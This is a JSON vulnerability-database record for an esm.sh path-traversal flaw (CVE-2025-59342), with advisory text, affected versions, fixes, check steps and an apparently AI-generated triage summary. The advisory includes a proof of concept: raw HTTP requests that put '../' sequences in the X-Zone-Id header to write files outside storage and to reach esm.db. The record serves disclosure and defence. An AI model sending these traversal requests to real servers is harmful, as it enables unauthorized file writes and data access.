{"id":"CVE-2025-59342","kind":"vulnerability","aliases":["CVE-2025-59342","GHSA-g2h5-cvvr-7gmw"],"related":[],"title":"esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header","description":"## Summary\n\nA path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`).\n\n**Severity:** Medium\n\n**Component / Endpoint:** \n\n`POST /transform` — handling of `X-Zone-Id` header\n\nThe vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 \n\n**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.\n\n---\n\n## Proof of Concept (POC)\n\nRequest (attacker-supplied `X-Zone-Id` contains path traversal):\n\n```\nPOST /transform HTTP/1.1\nHost: localhost:8888\nUser-Agent: Den/8.7.1\nAccept: */*\nConnection: keep-alive\nReferer: http://localhost:9999/\nContent-Type: application/json\nX-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/\nContent-Length: 325\n\n{\n  \"filename\": \"example2.js\",\n  \"lang\": \"js\",\n  \"code\": \"console.log('hello');\",\n  \"importMap\": {\n    \"imports\": {\n      \"react\": \"https://esm.sh/react\",\n      \"react-dom\": \"https://esm.sh/react-dom\"\n    }\n  },\n  \"jsxImportSource\": \"react\",\n  \"target\": \"es2022\",\n  \"sourceMap\": \"external\",\n  \"minify\": true\n}\n```\n<img width=\"2496\" height=\"1214\" alt=\"Screenshot 2025-09-16 at 21 40 57\" src=\"https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db\" />\n\n\nObserved result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.\n\nThis can be trigger with another path traversal request below\n\n```\nGET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1\nHost: localhost:8888\nUser-Agent: localhost\nAccept: */*\nConnection: keep-alive\nX-Zone-Id: ../\nReferer: http://localhost:9999/\n\n```\n<img width=\"2516\" height=\"710\" alt=\"Screenshot 2025-09-16 at 21 37 07\" src=\"https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685\" />\n\n---\n\n## Remediation\n\nSimply remove any .. in the `X-Zone-Id` header before actually process the file.\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)","summary":"The esm.sh server builds a filesystem path from the X-Zone-Id HTTP header without restricting it to the storage directory. A request with ../ sequences in that header can write attacker-supplied files outside the intended storage location, and the report says this could lead to code execution or tampering with application files.","severity":"medium","cvss":5.5,"epss":0.03153,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/esm-dev/esm.sh","fixed":["136.1"],"affected":"<= 136","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-24","esm.sh","go","package","self-hosted"],"not_affected_if":["auth-required","managed-hosting"],"how_to_check":"- Run `go list -m github.com/esm-dev/esm.sh` in the project, or check the version the esm.sh binary reports, and compare it to `136`\n- Check whether the esm.sh server is reachable from untrusted networks and accepts POST /transform requests","fix":"- Upgrade esm.sh to `136.1`\n- Until upgraded, block or strip requests carrying `..` in the X-Zone-Id header at a reverse proxy","status":"open","published_at":"2025-09-17T18:15:53+00:00","first_seen_at":"2026-10-29T02:14:31+00:00","triaged_at":"2026-10-29T02:15:01+00:00","updated_at":"2026-10-29T02:36:48+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-10-29T02:15:01Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade esm.sh to `136.1`\n- Until upgraded, block or strip requests carrying `..` in the X-Zone-Id header at a reverse proxy","reach":"network","title":"esm.sh: X-Zone-Id header path traversal lets requests write files elsewhere","impact":"high","summary":"The esm.sh server builds a filesystem path from the X-Zone-Id HTTP header without restricting it to the storage directory. A request with ../ sequences in that header can write attacker-supplied files outside the intended storage location, and the report says this could lead to code execution or tampering with application files.","category":"package","nicknames":[],"who_cares":["esm.sh","self-hosted","go"],"confidence":0.7,"needs_auth":"unknown","worst_case":"Attacker writes files outside storage, possibly reaching code execution","analyst_note":"","how_to_check":"- Run `go list -m github.com/esm-dev/esm.sh` in the project, or check the version the esm.sh binary reports, and compare it to `136`\n- Check whether the esm.sh server is reachable from untrusted networks and accepts POST /transform requests","needs_analyst":false,"not_affected_if":["managed-hosting","auth-required"],"who_is_affected":"Teams that run esm.sh as a self-hosted server (esmd) and expose its /transform endpoint to clients they do not fully trust. The flaw is in the server's handling of a request header, so a locked-down internal deployment with no untrusted access is much less exposed. Users of the public esm.sh CDN or code that only imports from it are not affected by this self-hosting issue.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"medium"},"cost_usd":0.000741,"input_tokens":4437,"output_tokens":594,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2025':16A,24A '-24':30B '-59342':17A,25A './../../../esm.db':325C '/../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa':270C '/.esmd/modules/transform':168C '/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js':307C '/.esmd/storage/modules/transform':171C,312C '/a11riseforme)':374C '/esm-dev/esm.sh':28A '/esm-dev/esm.sh/blob/main/server/router.go#l116':192C '/esm-dev/esm.sh/blob/main/server/router.go#l411':196C '/j3ssie)':369C '/react':287C '/react-dom':293C '/transform':177C,245C '325':274C '7gmw':22A '8888':249C,330C '9999':261C,346C 'accept':254C,335C 'actual':359C 'agent':252C,333C 'ai':364C 'aliv':258C,339C 'allow':109C 'anoth':318C 'applic':90B,115C,143C,220C 'application/json':265C 'arbitrari':3A,164C,198C 'attack':69B,111C,210C,228C,235C 'attacker-control':209C 'attacker-suppli':68B,234C 'base':146C 'build':40B,130C 'c245626ef6ca0fd9ee37759c5fac606c6ec99daa':324C 'canonic':138C 'caus':113C,158C 'cl':370C 'code':85B,187C,215C,279C 'compon':174C 'concept':231C 'connect':255C,336C 'console.log':280C 'contain':241C 'content':263C,272C 'content-length':271C 'content-typ':262C 'control':211C 'could':82B 'creation':200C 'credit':363C 'css':326C 'cve':15A,23A 'cvvr':21A 'cwe':29B 'den/8.7.1':253C 'directori':58B,147C,165C,205C 'dom':290C 'endpoint':175C 'es2022':297C 'esm.sh':1A,31B,38B,286C,292C 'esm.sh/react':285C 'esm.sh/react-dom':291C 'exampl':166C 'example2.js':276C 'execut':86B,216C 'extern':299C 'facilit':223C 'file':4A,71B,91B,118C,159C,199C,206C,221C,304C,362C 'filenam':275C 'filesystem':42B,132C 'flaw':97C 'g2h5':20A 'get':323C 'ghsa':19A 'ghsa-g2h5-cvvr-7gmw':18A 'github.com':27A,191C,195C,368C,373C 'github.com/a11riseforme)':372C 'github.com/esm-dev/esm.sh':26A 'github.com/esm-dev/esm.sh/blob/main/server/router.go#l116':190C 'github.com/esm-dev/esm.sh/blob/main/server/router.go#l411':194C 'github.com/j3ssie)':367C 'go':32B 'handl':100C,178C 'header':14A,51B,65B,108C,125C,184C,357C 'hello':281C 'ho':365C 'host':36B,247C,328C 'http':50B,107C 'http/1.1':246C,327C 'id':13A,49B,106C,157C,183C,240C,269C,343C,356C 'impact':197C 'import':283C 'importmap':282C 'instead':169C,308C 'intend':74B,121C,203C,311C 'jessi':366C 'js':278C 'jsximportsourc':294C 'keep':257C,338C 'keep-al':256C,337C 'lang':277C 'lead':83B 'length':273C 'localhost':248C,260C,329C,334C,345C 'locat':76B,123C 'medium':173C 'minifi':300C 'observ':167C,302C 'outsid':72B,119C,202C 'overwrit':201C 'packag':33B 'path':7A,43B,95C,133C,212C,226C,242C,319C 'path-travers':94C,225C 'persist':217C 'poc':232C 'possibl':213C 'post':176C,244C 'process':360C 'proof':229C 'proper':137C 'react':284C,289C,295C 'react-dom':288C 'refer':259C,344C 'remedi':347C 'remot':214C 'remov':349C 'report':79B 'request':60B,233C,321C 'restrict':53B,140C 'result':150C,303C 'say':80B 'self':35B 'self-host':34B 'sequenc':62B,152C 'server':39B 'sever':172C 'simpli':348C 'sourcemap':298C 'storag':57B,75B,122C,145C,204C 'summari':92C 'suppli':70B,151C,236C 'tamper':88B,218C 'target':296C 'travers':8A,96C,227C,243C,320C 'trigger':316C 'true':301C 'type':264C 'use':128C 'user':251C,332C 'user-ag':250C,331C 'valu':126C 'via':6A 'vulner':186C 'without':52B 'write':5A,67B,117C,207C 'written':162C,305C 'x':11A,47B,104C,155C,181C,238C,267C,341C,354C 'x-zone-id':10A,46B,103C,154C,180C,237C,266C,340C,353C 'yang':371C 'zone':12A,48B,105C,156C,182C,239C,268C,342C,355C","nicknames":[],"mitigations":[],"who_affected":"Teams that run esm.sh as a self-hosted server (esmd) and expose its /transform endpoint to clients they do not fully trust. The flaw is in the server's handling of a request header, so a locked-down internal deployment with no untrusted access is much less exposed. Users of the public esm.sh CDN or code that only imports from it are not affected by this self-hosting issue.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":null,"plain_action":null,"first_public_at":"2025-09-17T18:15:53+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-g2h5-cvvr-7gmw","url":"https://github.com/advisories/GHSA-g2h5-cvvr-7gmw","severity":"medium","published_at":"2025-09-17T19:03:05+00:00","modified_at":"2026-10-29T02:09:47+00:00","first_seen_at":"2026-10-29T02:14:31+00:00","fetched_at":"2026-10-29T02:14:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-59342","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59342","severity":null,"published_at":"2025-09-17T18:15:53+00:00","modified_at":"2026-06-17T09:45:56+00:00","first_seen_at":"2026-10-29T02:36:48+00:00","fetched_at":"2026-10-29T02:36:48+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}